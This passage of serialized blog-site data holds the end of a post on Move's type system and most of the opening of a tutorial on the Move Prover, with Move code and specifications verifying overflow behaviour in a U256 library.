(",{"type":24,"tag":327,"props":16272,"children":16273},{"style":356},[16274],{"type":29,"value":11334},{"type":24,"tag":327,"props":16276,"children":16277},{"style":381},[16278],{"type":29,"value":4927},{"type":24,"tag":327,"props":16280,"children":16281},{"style":356},[16282],{"type":29,"value":16047},{"type":24,"tag":327,"props":16284,"children":16285},{"style":346},[16286],{"type":29,"value":852},{"type":24,"tag":327,"props":16288,"children":16289},{"class":329,"line":586},[16290],{"type":24,"tag":327,"props":16291,"children":16292},{"style":346},[16293],{"type":29,"value":16294},"      }) {\n",{"type":24,"tag":327,"props":16296,"children":16297},{"class":329,"line":1017},[16298,16303,16307,16312],{"type":24,"tag":327,"props":16299,"children":16300},{"style":346},[16301],{"type":29,"value":16302},"          vector",{"type":24,"tag":327,"props":16304,"children":16305},{"style":381},[16306],{"type":29,"value":2407},{"type":24,"tag":327,"props":16308,"children":16309},{"style":340},[16310],{"type":29,"value":16311},"push_back",{"type":24,"tag":327,"props":16313,"children":16314},{"style":346},[16315],{"type":29,"value":4663},{"type":24,"tag":327,"props":16317,"children":16318},{"class":329,"line":1026},[16319,16324,16328,16332],{"type":24,"tag":327,"props":16320,"children":16321},{"style":381},[16322],{"type":29,"value":16323},"              &",{"type":24,"tag":327,"props":16325,"children":16326},{"style":334},[16327],{"type":29,"value":2099},{"type":24,"tag":327,"props":16329,"children":16330},{"style":356},[16331],{"type":29,"value":15982},{"type":24,"tag":327,"props":16333,"children":16334},{"style":346},[16335],{"type":29,"value":2231},{"type":24,"tag":327,"props":16337,"children":16338},{"class":329,"line":1048},[16339,16344,16348,16353,16357,16362,16366,16370,16374,16379,16383,16387,16391,16396,16400,16405,16409,16413,16417,16422,16426,16430],{"type":24,"tag":327,"props":16340,"children":16341},{"style":346},[16342],{"type":29,"value":16343},"              (",{"type":24,"tag":327,"props":16345,"children":16346},{"style":381},[16347],{"type":29,"value":469},{"type":24,"tag":327,"props":16349,"children":16350},{"style":346},[16351],{"type":29,"value":16352},"vector",{"type":24,"tag":327,"props":16354,"children":16355},{"style":381},[16356],{"type":29,"value":2407},{"type":24,"tag":327,"props":16358,"children":16359},{"style":340},[16360],{"type":29,"value":16361},"borrow",{"type":24,"tag":327,"props":16363,"children":16364},{"style":346},[16365],{"type":29,"value":349},{"type":24,"tag":327,"props":16367,"children":16368},{"style":381},[16369],{"type":29,"value":8716},{"type":24,"tag":327,"props":16371,"children":16372},{"style":356},[16373],{"type":29,"value":15927},{"type":24,"tag":327,"props":16375,"children":16376},{"style":346},[16377],{"type":29,"value":16378},", (",{"type":24,"tag":327,"props":16380,"children":16381},{"style":356},[16382],{"type":29,"value":11334},{"type":24,"tag":327,"props":16384,"children":16385},{"style":334},[16386],{"type":29,"value":2417},{"type":24,"tag":327,"props":16388,"children":16389},{"style":1639},[16390],{"type":29,"value":1669},{"type":24,"tag":327,"props":16392,"children":16393},{"style":346},[16394],{"type":29,"value":16395},")) ",{"type":24,"tag":327,"props":16397,"children":16398},{"style":334},[16399],{"type":29,"value":2479},{"type":24,"tag":327,"props":16401,"children":16402},{"style":1639},[16403],{"type":29,"value":16404}," u128",{"type":24,"tag":327,"props":16406,"children":16407},{"style":346},[16408],{"type":29,"value":1674},{"type":24,"tag":327,"props":16410,"children":16411},{"style":381},[16412],{"type":29,"value":469},{"type":24,"tag":327,"props":16414,"children":16415},{"style":346},[16416],{"type":29,"value":5894},{"type":24,"tag":327,"props":16418,"children":16419},{"style":356},[16420],{"type":29,"value":16421},"n_coins",{"type":24,"tag":327,"props":16423,"children":16424},{"style":334},[16425],{"type":29,"value":2417},{"type":24,"tag":327,"props":16427,"children":16428},{"style":1639},[16429],{"type":29,"value":16404},{"type":24,"tag":327,"props":16431,"children":16432},{"style":346},[16433],{"type":29,"value":852},{"type":24,"tag":327,"props":16435,"children":16436},{"class":329,"line":1067},[16437],{"type":24,"tag":327,"props":16438,"children":16439},{"style":346},[16440],{"type":29,"value":16441},"          );\n",{"type":24,"tag":327,"props":16443,"children":16444},{"class":329,"line":1075},[16445,16450,16454,16458,16462,16466],{"type":24,"tag":327,"props":16446,"children":16447},{"style":356},[16448],{"type":29,"value":16449},"          i",{"type":24,"tag":327,"props":16451,"children":16452},{"style":381},[16453],{"type":29,"value":4809},{"type":24,"tag":327,"props":16455,"children":16456},{"style":356},[16457],{"type":29,"value":10999},{"type":24,"tag":327,"props":16459,"children":16460},{"style":381},[16461],{"type":29,"value":4407},{"type":24,"tag":327,"props":16463,"children":16464},{"style":397},[16465],{"type":29,"value":522},{"type":24,"tag":327,"props":16467,"children":16468},{"style":346},[16469],{"type":29,"value":405},{"type":24,"tag":327,"props":16471,"children":16472},{"class":329,"line":1084},[16473],{"type":24,"tag":327,"props":16474,"children":16475},{"style":346},[16476],{"type":29,"value":16477},"      };\n",{"type":24,"tag":327,"props":16479,"children":16480},{"class":329,"line":1100},[16481,16486],{"type":24,"tag":327,"props":16482,"children":16483},{"style":356},[16484],{"type":29,"value":16485},"      spec",{"type":24,"tag":327,"props":16487,"children":16488},{"style":346},[16489],{"type":29,"value":497},{"type":24,"tag":327,"props":16491,"children":16492},{"class":329,"line":1128},[16493,16498,16502,16506,16510],{"type":24,"tag":327,"props":16494,"children":16495},{"style":356},[16496],{"type":29,"value":16497},"          assert",{"type":24,"tag":327,"props":16499,"children":16500},{"style":356},[16501],{"type":29,"value":10999},{"type":24,"tag":327,"props":16503,"children":16504},{"style":381},[16505],{"type":29,"value":9887},{"type":24,"tag":327,"props":16507,"children":16508},{"style":356},[16509],{"type":29,"value":16047},{"type":24,"tag":327,"props":16511,"children":16512},{"style":346},[16513],{"type":29,"value":405},{"type":24,"tag":327,"props":16515,"children":16516},{"class":329,"line":1148},[16517,16521,16525,16529,16533,16537,16541,16545],{"type":24,"tag":327,"props":16518,"children":16519},{"style":356},[16520],{"type":29,"value":16497},{"type":24,"tag":327,"props":16522,"children":16523},{"style":340},[16524],{"type":29,"value":16118},{"type":24,"tag":327,"props":16526,"children":16527},{"style":346},[16528],{"type":29,"value":349},{"type":24,"tag":327,"props":16530,"children":16531},{"style":356},[16532],{"type":29,"value":15927},{"type":24,"tag":327,"props":16534,"children":16535},{"style":346},[16536],{"type":29,"value":1674},{"type":24,"tag":327,"props":16538,"children":16539},{"style":381},[16540],{"type":29,"value":642},{"type":24,"tag":327,"props":16542,"children":16543},{"style":356},[16544],{"type":29,"value":16047},{"type":24,"tag":327,"props":16546,"children":16547},{"style":346},[16548],{"type":29,"value":405},{"type":24,"tag":327,"props":16550,"children":16551},{"class":329,"line":1176},[16552],{"type":24,"tag":327,"props":16553,"children":16554},{"style":346},[16555],{"type":29,"value":16477},{"type":24,"tag":327,"props":16557,"children":16558},{"class":329,"line":1184},[16559],{"type":24,"tag":327,"props":16560,"children":16561},{"style":356},[16562],{"type":29,"value":16563},"      amounts_times_coins\n",{"type":24,"tag":327,"props":16565,"children":16566},{"class":329,"line":1192},[16567],{"type":24,"tag":327,"props":16568,"children":16569},{"style":346},[16570],{"type":29,"value":13439},{"type":24,"tag":327,"props":16572,"children":16573},{"class":329,"line":1212},[16574,16578,16582],{"type":24,"tag":327,"props":16575,"children":16576},{"style":356},[16577],{"type":29,"value":15706},{"type":24,"tag":327,"props":16579,"children":16580},{"style":356},[16581],{"type":29,"value":15918},{"type":24,"tag":327,"props":16583,"children":16584},{"style":346},[16585],{"type":29,"value":497},{"type":24,"tag":327,"props":16587,"children":16588},{"class":329,"line":4841},[16589,16593,16598],{"type":24,"tag":327,"props":16590,"children":16591},{"style":356},[16592],{"type":29,"value":15722},{"type":24,"tag":327,"props":16594,"children":16595},{"style":356},[16596],{"type":29,"value":16597}," opaque",{"type":24,"tag":327,"props":16599,"children":16600},{"style":346},[16601],{"type":29,"value":405},{"type":24,"tag":327,"props":16603,"children":16604},{"class":329,"line":4862},[16605,16610,16614],{"type":24,"tag":327,"props":16606,"children":16607},{"style":356},[16608],{"type":29,"value":16609},"      aborts_if",{"type":24,"tag":327,"props":16611,"children":16612},{"style":334},[16613],{"type":29,"value":6776},{"type":24,"tag":327,"props":16615,"children":16616},{"style":346},[16617],{"type":29,"value":405},{"type":24,"tag":327,"props":16619,"children":16620},{"class":329,"line":4870},[16621,16625,16629,16633,16638,16642,16646,16650,16654,16658],{"type":24,"tag":327,"props":16622,"children":16623},{"style":356},[16624],{"type":29,"value":15748},{"type":24,"tag":327,"props":16626,"children":16627},{"style":340},[16628],{"type":29,"value":16118},{"type":24,"tag":327,"props":16630,"children":16631},{"style":346},[16632],{"type":29,"value":349},{"type":24,"tag":327,"props":16634,"children":16635},{"style":356},[16636],{"type":29,"value":16637},"result",{"type":24,"tag":327,"props":16639,"children":16640},{"style":346},[16641],{"type":29,"value":1674},{"type":24,"tag":327,"props":16643,"children":16644},{"style":381},[16645],{"type":29,"value":642},{"type":24,"tag":327,"props":16647,"children":16648},{"style":340},[16649],{"type":29,"value":16118},{"type":24,"tag":327,"props":16651,"children":16652},{"style":346},[16653],{"type":29,"value":349},{"type":24,"tag":327,"props":16655,"children":16656},{"style":356},[16657],{"type":29,"value":15927},{"type":24,"tag":327,"props":16659,"children":16660},{"style":346},[16661],{"type":29,"value":583},{"type":24,"tag":327,"props":16663,"children":16664},{"class":329,"line":4879},[16665,16669,16673,16677,16681,16685,16689,16693,16697,16701,16705,16709,16714,16718,16722,16726,16730,16734,16738,16742,16746,16750,16754,16758,16762],{"type":24,"tag":327,"props":16666,"children":16667},{"style":356},[16668],{"type":29,"value":15748},{"type":24,"tag":327,"props":16670,"children":16671},{"style":356},[16672],{"type":29,"value":16178},{"type":24,"tag":327,"props":16674,"children":16675},{"style":356},[16676],{"type":29,"value":16183},{"type":24,"tag":327,"props":16678,"children":16679},{"style":334},[16680],{"type":29,"value":10653},{"type":24,"tag":327,"props":16682,"children":16683},{"style":397},[16684],{"type":29,"value":6695},{"type":24,"tag":327,"props":16686,"children":16687},{"style":381},[16688],{"type":29,"value":10662},{"type":24,"tag":327,"props":16690,"children":16691},{"style":340},[16692],{"type":29,"value":4906},{"type":24,"tag":327,"props":16694,"children":16695},{"style":346},[16696],{"type":29,"value":349},{"type":24,"tag":327,"props":16698,"children":16699},{"style":356},[16700],{"type":29,"value":15927},{"type":24,"tag":327,"props":16702,"children":16703},{"style":346},[16704],{"type":29,"value":3146},{"type":24,"tag":327,"props":16706,"children":16707},{"style":381},[16708],{"type":29,"value":1636},{"type":24,"tag":327,"props":16710,"children":16711},{"style":356},[16712],{"type":29,"value":16713}," result",{"type":24,"tag":327,"props":16715,"children":16716},{"style":346},[16717],{"type":29,"value":11329},{"type":24,"tag":327,"props":16719,"children":16720},{"style":356},[16721],{"type":29,"value":16216},{"type":24,"tag":327,"props":16723,"children":16724},{"style":346},[16725],{"type":29,"value":16221},{"type":24,"tag":327,"props":16727,"children":16728},{"style":381},[16729],{"type":29,"value":642},{"type":24,"tag":327,"props":16731,"children":16732},{"style":356},[16733],{"type":29,"value":16230},{"type":24,"tag":327,"props":16735,"children":16736},{"style":346},[16737],{"type":29,"value":11329},{"type":24,"tag":327,"props":16739,"children":16740},{"style":356},[16741],{"type":29,"value":16216},{"type":24,"tag":327,"props":16743,"children":16744},{"style":346},[16745],{"type":29,"value":16221},{"type":24,"tag":327,"props":16747,"children":16748},{"style":381},[16749],{"type":29,"value":469},{"type":24,"tag":327,"props":16751,"children":16752},{"style":340},[16753],{"type":29,"value":16118},{"type":24,"tag":327,"props":16755,"children":16756},{"style":346},[16757],{"type":29,"value":349},{"type":24,"tag":327,"props":16759,"children":16760},{"style":356},[16761],{"type":29,"value":15927},{"type":24,"tag":327,"props":16763,"children":16764},{"style":346},[16765],{"type":29,"value":583},{"type":24,"tag":327,"props":16767,"children":16768},{"class":329,"line":4913},[16769],{"type":24,"tag":327,"props":16770,"children":16771},{"style":346},[16772],{"type":29,"value":13439},{"type":24,"tag":228,"props":16774,"children":16775},{"id":12878},[16776],{"type":29,"value":12881},{"type":24,"tag":25,"props":16778,"children":16779},{},[16780],{"type":29,"value":16781},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":25,"props":16783,"children":16784},{},[16785],{"type":29,"value":16786},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":25,"props":16788,"children":16789},{},[16790,16792,16799],{"type":29,"value":16791},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":57,"props":16793,"children":16796},{"href":16794,"rel":16795},"https://twitter.com/notdeghost/",[61],[16797],{"type":29,"value":16798},"@notdeghost",{"type":29,"value":66},{"type":24,"tag":10448,"props":16801,"children":16802},{},[16803],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":16805},[16806,16807,16808],{"id":13327,"depth":367,"text":13330},{"id":15358,"depth":367,"text":15361},{"id":12878,"depth":367,"text":12881},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":16813,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":16814,"description":16815,"author":13288,"image":16816,"date":16819,"isFeatured":16,"tags":16820,"onBlogPage":16,"body":16823,"_type":10481,"_id":21155,"_source":10483,"_file":21156,"_stem":21157,"_extension":10486},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":16817,"height":16818,"width":13292},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[16821,16822],"move","tutorial",{"type":21,"children":16824,"toc":21141},[16825,16844,16855,16861,16866,16871,16876,16885,16890,16904,16909,16915,16920,16934,16939,17075,17088,17093,17114,17145,17156,17161,17166,17176,17188,17530,17544,17562,17607,17620,17639,17811,17816,17821,17846,17851,18452,18464,18476,18481,18495,18500,18513,18553,18558,18590,18595,18600,18613,18998,19025,19232,19237,19249,19486,19491,19499,19518,19864,19869,20025,20030,20037,20051,20057,20062,20067,20073,20086,20318,20324,20329,20349,20618,20623,20629,20640,20645,20659,20665,20700,20800,20821,20827,20832,20837,21089,21094,21112,21116,21121,21126,21137],{"type":24,"tag":25,"props":16826,"children":16827},{},[16828,16830,16835,16837,16842],{"type":29,"value":16829},"Formal verification -- a powerful tool for ",{"type":24,"tag":42,"props":16831,"children":16832},{},[16833],{"type":29,"value":16834},"proving",{"type":29,"value":16836}," the correctness of your programs. How does it ",{"type":24,"tag":42,"props":16838,"children":16839},{},[16840],{"type":29,"value":16841},"actually",{"type":29,"value":16843}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":16845,"children":16846},{},[16847,16849,16853],{"type":29,"value":16848},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":42,"props":16850,"children":16851},{},[16852],{"type":29,"value":6109},{"type":29,"value":16854}," possible inputs.",{"type":24,"tag":228,"props":16856,"children":16858},{"id":16857},"move-prover",[16859],{"type":29,"value":16860},"Move Prover",{"type":24,"tag":25,"props":16862,"children":16863},{},[16864],{"type":29,"value":16865},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":16867,"children":16868},{},[16869],{"type":29,"value":16870},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":16872,"children":16873},{},[16874],{"type":29,"value":16875},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":16877,"children":16878},{},[16879],{"type":24,"tag":11511,"props":16880,"children":16884},{"alt":16881,"src":16882,"title":16883},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":16886,"children":16887},{},[16888],{"type":29,"value":16889},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":16891,"children":16892},{},[16893,16895,16902],{"type":29,"value":16894},"The model is translated into an intermediate language, called ",{"type":24,"tag":57,"props":16896,"children":16899},{"href":16897,"rel":16898},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[61],[16900],{"type":29,"value":16901},"Boogie",{"type":29,"value":16903},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":16905,"children":16906},{},[16907],{"type":29,"value":16908},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":228,"props":16910,"children":16912},{"id":16911},"move-specification-language",[16913],{"type":29,"value":16914},"Move Specification Language",{"type":24,"tag":25,"props":16916,"children":16917},{},[16918],{"type":29,"value":16919},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":16921,"children":16922},{},[16923,16925,16932],{"type":29,"value":16924},"To better understand how to use the MSL, we will use ",{"type":24,"tag":57,"props":16926,"children":16929},{"href":16927,"rel":16928},"https://github.com/pontem-network/u256",[61],[16930],{"type":29,"value":16931},"Pontem's U256 library",{"type":29,"value":16933},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":16935,"children":16936},{},[16937],{"type":29,"value":16938},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":317,"props":16940,"children":16942},{"code":16941,"language":1552,"meta":7,"className":1553,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[16943],{"type":24,"tag":284,"props":16944,"children":16945},{"__ignoreMap":7},[16946,16988,17008,17028,17048,17068],{"type":24,"tag":327,"props":16947,"children":16948},{"class":329,"line":330},[16949,16953,16957,16962,16967,16971,16976,16980,16984],{"type":24,"tag":327,"props":16950,"children":16951},{"style":334},[16952],{"type":29,"value":2195},{"type":24,"tag":327,"props":16954,"children":16955},{"style":1639},[16956],{"type":29,"value":12298},{"type":24,"tag":327,"props":16958,"children":16959},{"style":356},[16960],{"type":29,"value":16961}," has",{"type":24,"tag":327,"props":16963,"children":16964},{"style":356},[16965],{"type":29,"value":16966}," copy",{"type":24,"tag":327,"props":16968,"children":16969},{"style":346},[16970],{"type":29,"value":2744},{"type":24,"tag":327,"props":16972,"children":16973},{"style":356},[16974],{"type":29,"value":16975},"drop",{"type":24,"tag":327,"props":16977,"children":16978},{"style":346},[16979],{"type":29,"value":2744},{"type":24,"tag":327,"props":16981,"children":16982},{"style":356},[16983],{"type":29,"value":13508},{"type":24,"tag":327,"props":16985,"children":16986},{"style":346},[16987],{"type":29,"value":497},{"type":24,"tag":327,"props":16989,"children":16990},{"class":329,"line":367},[16991,16996,17000,17004],{"type":24,"tag":327,"props":16992,"children":16993},{"style":356},[16994],{"type":29,"value":16995},"    v0",{"type":24,"tag":327,"props":16997,"children":16998},{"style":381},[16999],{"type":29,"value":1636},{"type":24,"tag":327,"props":17001,"children":17002},{"style":1639},[17003],{"type":29,"value":1669},{"type":24,"tag":327,"props":17005,"children":17006},{"style":346},[17007],{"type":29,"value":2231},{"type":24,"tag":327,"props":17009,"children":17010},{"class":329,"line":408},[17011,17016,17020,17024],{"type":24,"tag":327,"props":17012,"children":17013},{"style":356},[17014],{"type":29,"value":17015},"    v1",{"type":24,"tag":327,"props":17017,"children":17018},{"style":381},[17019],{"type":29,"value":1636},{"type":24,"tag":327,"props":17021,"children":17022},{"style":1639},[17023],{"type":29,"value":1669},{"type":24,"tag":327,"props":17025,"children":17026},{"style":346},[17027],{"type":29,"value":2231},{"type":24,"tag":327,"props":17029,"children":17030},{"class":329,"line":421},[17031,17036,17040,17044],{"type":24,"tag":327,"props":17032,"children":17033},{"style":356},[17034],{"type":29,"value":17035},"    v2",{"type":24,"tag":327,"props":17037,"children":17038},{"style":381},[17039],{"type":29,"value":1636},{"type":24,"tag":327,"props":17041,"children":17042},{"style":1639},[17043],{"type":29,"value":1669},{"type":24,"tag":327,"props":17045,"children":17046},{"style":346},[17047],{"type":29,"value":2231},{"type":24,"tag":327,"props":17049,"children":17050},{"class":329,"line":450},[17051,17056,17060,17064],{"type":24,"tag":327,"props":17052,"children":17053},{"style":356},[17054],{"type":29,"value":17055},"    v3",{"type":24,"tag":327,"props":17057,"children":17058},{"style":381},[17059],{"type":29,"value":1636},{"type":24,"tag":327,"props":17061,"children":17062},{"style":1639},[17063],{"type":29,"value":1669},{"type":24,"tag":327,"props":17065,"children":17066},{"style":346},[17067],{"type":29,"value":2231},{"type":24,"tag":327,"props":17069,"children":17070},{"class":329,"line":481},[17071],{"type":24,"tag":327,"props":17072,"children":17073},{"style":346},[17074],{"type":29,"value":592},{"type":24,"tag":25,"props":17076,"children":17077},{},[17078,17080,17086],{"type":29,"value":17079},"Now, let's consider the ",{"type":24,"tag":284,"props":17081,"children":17083},{"className":17082},[],[17084],{"type":29,"value":17085},"add(a: U256, b: U256): U256",{"type":29,"value":17087}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":17089,"children":17090},{},[17091],{"type":29,"value":17092},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":17094,"children":17095},{},[17096,17098,17104,17106,17113],{"type":29,"value":17097},"For example, if your file is ",{"type":24,"tag":284,"props":17099,"children":17101},{"className":17100},[],[17102],{"type":29,"value":17103},"sources/u256.move",{"type":29,"value":17105},", you can put specifications in ",{"type":24,"tag":57,"props":17107,"children":17110},{"href":17108,"rel":17109},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[61],[17111],{"type":29,"value":17112},"sources/u256.spec.move",{"type":29,"value":66},{"type":24,"tag":317,"props":17115,"children":17117},{"code":17116,"language":1552,"meta":7,"className":1553,"style":7},"spec add { ... }\n",[17118],{"type":24,"tag":284,"props":17119,"children":17120},{"__ignoreMap":7},[17121],{"type":24,"tag":327,"props":17122,"children":17123},{"class":329,"line":330},[17124,17128,17133,17137,17141],{"type":24,"tag":327,"props":17125,"children":17126},{"style":356},[17127],{"type":29,"value":15835},{"type":24,"tag":327,"props":17129,"children":17130},{"style":356},[17131],{"type":29,"value":17132}," add",{"type":24,"tag":327,"props":17134,"children":17135},{"style":346},[17136],{"type":29,"value":1940},{"type":24,"tag":327,"props":17138,"children":17139},{"style":381},[17140],{"type":29,"value":1922},{"type":24,"tag":327,"props":17142,"children":17143},{"style":346},[17144],{"type":29,"value":1949},{"type":24,"tag":25,"props":17146,"children":17147},{},[17148,17150,17155],{"type":29,"value":17149},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":42,"props":17151,"children":17152},{},[17153],{"type":29,"value":17154},"Expressions",{"type":29,"value":66},{"type":24,"tag":235,"props":17157,"children":17159},{"id":17158},"expressions",[17160],{"type":29,"value":17154},{"type":24,"tag":25,"props":17162,"children":17163},{},[17164],{"type":29,"value":17165},"Let's go over some common expressions.",{"type":24,"tag":25,"props":17167,"children":17168},{},[17169,17174],{"type":24,"tag":284,"props":17170,"children":17172},{"className":17171},[],[17173],{"type":29,"value":15885},{"type":29,"value":17175}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":17177,"children":17178},{},[17179,17181,17186],{"type":29,"value":17180},"For example, the ",{"type":24,"tag":284,"props":17182,"children":17184},{"className":17183},[],[17185],{"type":29,"value":280},{"type":29,"value":17187}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":317,"props":17189,"children":17191},{"code":17190,"language":1552,"meta":7,"className":1553,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[17192],{"type":24,"tag":284,"props":17193,"children":17194},{"__ignoreMap":7},[17195,17229,17236,17285,17307,17336,17373,17414,17421,17428,17443,17523],{"type":24,"tag":327,"props":17196,"children":17197},{"class":329,"line":330},[17198,17203,17208,17212,17216,17220,17225],{"type":24,"tag":327,"props":17199,"children":17200},{"style":334},[17201],{"type":29,"value":17202},"const",{"type":24,"tag":327,"props":17204,"children":17205},{"style":346},[17206],{"type":29,"value":17207}," P64",{"type":24,"tag":327,"props":17209,"children":17210},{"style":381},[17211],{"type":29,"value":1636},{"type":24,"tag":327,"props":17213,"children":17214},{"style":1639},[17215],{"type":29,"value":16404},{"type":24,"tag":327,"props":17217,"children":17218},{"style":381},[17219],{"type":29,"value":4809},{"type":24,"tag":327,"props":17221,"children":17222},{"style":397},[17223],{"type":29,"value":17224}," 0x10000000000000000",{"type":24,"tag":327,"props":17226,"children":17227},{"style":346},[17228],{"type":29,"value":405},{"type":24,"tag":327,"props":17230,"children":17231},{"class":329,"line":367},[17232],{"type":24,"tag":327,"props":17233,"children":17234},{"emptyLinePlaceholder":16},[17235],{"type":29,"value":544},{"type":24,"tag":327,"props":17237,"children":17238},{"class":329,"line":408},[17239,17243,17247,17252,17256,17260,17264,17268,17272,17276,17281],{"type":24,"tag":327,"props":17240,"children":17241},{"style":356},[17242],{"type":29,"value":15835},{"type":24,"tag":327,"props":17244,"children":17245},{"style":356},[17246],{"type":29,"value":13773},{"type":24,"tag":327,"props":17248,"children":17249},{"style":340},[17250],{"type":29,"value":17251}," value_of_U256",{"type":24,"tag":327,"props":17253,"children":17254},{"style":346},[17255],{"type":29,"value":349},{"type":24,"tag":327,"props":17257,"children":17258},{"style":356},[17259],{"type":29,"value":57},{"type":24,"tag":327,"props":17261,"children":17262},{"style":381},[17263],{"type":29,"value":1636},{"type":24,"tag":327,"props":17265,"children":17266},{"style":1639},[17267],{"type":29,"value":12298},{"type":24,"tag":327,"props":17269,"children":17270},{"style":346},[17271],{"type":29,"value":3146},{"type":24,"tag":327,"props":17273,"children":17274},{"style":381},[17275],{"type":29,"value":1636},{"type":24,"tag":327,"props":17277,"children":17278},{"style":356},[17279],{"type":29,"value":17280}," num",{"type":24,"tag":327,"props":17282,"children":17283},{"style":346},[17284],{"type":29,"value":497},{"type":24,"tag":327,"props":17286,"children":17287},{"class":329,"line":421},[17288,17293,17297,17302],{"type":24,"tag":327,"props":17289,"children":17290},{"style":356},[17291],{"type":29,"value":17292},"    a",{"type":24,"tag":327,"props":17294,"children":17295},{"style":381},[17296],{"type":29,"value":66},{"type":24,"tag":327,"props":17298,"children":17299},{"style":346},[17300],{"type":29,"value":17301},"v0 ",{"type":24,"tag":327,"props":17303,"children":17304},{"style":381},[17305],{"type":29,"value":17306},"+\n",{"type":24,"tag":327,"props":17308,"children":17309},{"class":329,"line":450},[17310,17314,17318,17323,17327,17331],{"type":24,"tag":327,"props":17311,"children":17312},{"style":356},[17313],{"type":29,"value":17292},{"type":24,"tag":327,"props":17315,"children":17316},{"style":381},[17317],{"type":29,"value":66},{"type":24,"tag":327,"props":17319,"children":17320},{"style":346},[17321],{"type":29,"value":17322},"v1 ",{"type":24,"tag":327,"props":17324,"children":17325},{"style":381},[17326],{"type":29,"value":469},{"type":24,"tag":327,"props":17328,"children":17329},{"style":1639},[17330],{"type":29,"value":17207},{"type":24,"tag":327,"props":17332,"children":17333},{"style":381},[17334],{"type":29,"value":17335}," +\n",{"type":24,"tag":327,"props":17337,"children":17338},{"class":329,"line":481},[17339,17343,17347,17352,17356,17360,17365,17369],{"type":24,"tag":327,"props":17340,"children":17341},{"style":356},[17342],{"type":29,"value":17292},{"type":24,"tag":327,"props":17344,"children":17345},{"style":381},[17346],{"type":29,"value":66},{"type":24,"tag":327,"props":17348,"children":17349},{"style":346},[17350],{"type":29,"value":17351},"v2 ",{"type":24,"tag":327,"props":17353,"children":17354},{"style":381},[17355],{"type":29,"value":469},{"type":24,"tag":327,"props":17357,"children":17358},{"style":1639},[17359],{"type":29,"value":17207},{"type":24,"tag":327,"props":17361,"children":17362},{"style":381},[17363],{"type":29,"value":17364}," *",{"type":24,"tag":327,"props":17366,"children":17367},{"style":1639},[17368],{"type":29,"value":17207},{"type":24,"tag":327,"props":17370,"children":17371},{"style":381},[17372],{"type":29,"value":17335},{"type":24,"tag":327,"props":17374,"children":17375},{"class":329,"line":500},[17376,17380,17384,17389,17393,17397,17401,17405,17409],{"type":24,"tag":327,"props":17377,"children":17378},{"style":356},[17379],{"type":29,"value":17292},{"type":24,"tag":327,"props":17381,"children":17382},{"style":381},[17383],{"type":29,"value":66},{"type":24,"tag":327,"props":17385,"children":17386},{"style":346},[17387],{"type":29,"value":17388},"v3 ",{"type":24,"tag":327,"props":17390,"children":17391},{"style":381},[17392],{"type":29,"value":469},{"type":24,"tag":327,"props":17394,"children":17395},{"style":1639},[17396],{"type":29,"value":17207},{"type":24,"tag":327,"props":17398,"children":17399},{"style":381},[17400],{"type":29,"value":17364},{"type":24,"tag":327,"props":17402,"children":17403},{"style":1639},[17404],{"type":29,"value":17207},{"type":24,"tag":327,"props":17406,"children":17407},{"style":381},[17408],{"type":29,"value":17364},{"type":24,"tag":327,"props":17410,"children":17411},{"style":1639},[17412],{"type":29,"value":17413}," 